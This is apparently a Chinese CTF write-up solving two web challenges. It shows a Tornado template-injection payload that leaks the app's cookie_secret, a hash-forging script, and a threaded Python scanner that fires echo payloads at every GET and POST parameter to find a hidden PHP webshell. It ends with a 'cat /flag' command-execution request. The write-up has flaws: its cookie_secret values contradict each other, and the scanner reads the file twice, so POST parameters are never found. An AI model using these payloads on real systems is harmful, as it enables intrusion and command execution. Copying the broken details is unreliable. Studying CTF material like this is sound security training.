[护网杯 2018]easy_tornado
有三个文件,flag.txt
welcome.txt
hints.txt
知道了flag在/fllllllllllllag
所以filename=/fllllllllllllag,但是还需要hash
hash=md5(cookie_secret+md5(filename))
以及知道了filename,还需要cookie_secret
尝试直接传参,错误,得到:
它又给了一个参数msg
尝试传入1
回显的是1,可能存在SSTI模板注入漏洞,测试一下
构造?msg={{7*7}}
可以发现我们的payloud是执行了的,但没有具体显示
搜了一下
是标题的tornado模板注入
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。
简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。
直接构造:?msg={{handler.settings}}
就爆出了配置信息,看到cookie_secret
就可以算hash
hash=MD5(3c6cb69a-d5cf-418c-8482-1118bdd87f93+MD5(/fllllllllllllag))
采用python脚本
import hashlib #选用哈希模块
filename = '/fllllllllllllag' #文件名
cookie_secret = '76fc62a3-fea5-46ab-8f95-4b7262246f8c'#cookie_secret值
filename = hashlib.md5(filename.encode()).hexdigest()#/fllllllllllllag进行32位小写哈希md5加密
a = cookie_secret + filename#md5值进行拼接
filehash = hashlib.md5(a.encode()).hexdigest()#计算拼接后的md5值的md532小写的值
print(filehash)
传参得到flag
本题考查tornado模板注入,md5的拼接
[强网杯 2019]高明的黑客
下载源代码。有很多php文件,一个一个审计肯定搞不来,看了师傅们的wp,用到脚本,寻找可以利用的php文件。
大概理念就是遍历所有的PHP文件,找寻可以使用的getshell
用PHP study搭建在本地,然后使用脚本
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"C:/phpstudy_pro/WWW/localhost/src" #自己替换为文件所在目录
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file #自己替换为本地url
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
接着就可以进行命令执行函数
构造:/xk0SzyKwfzw.php?Efa5BVG=cat /flag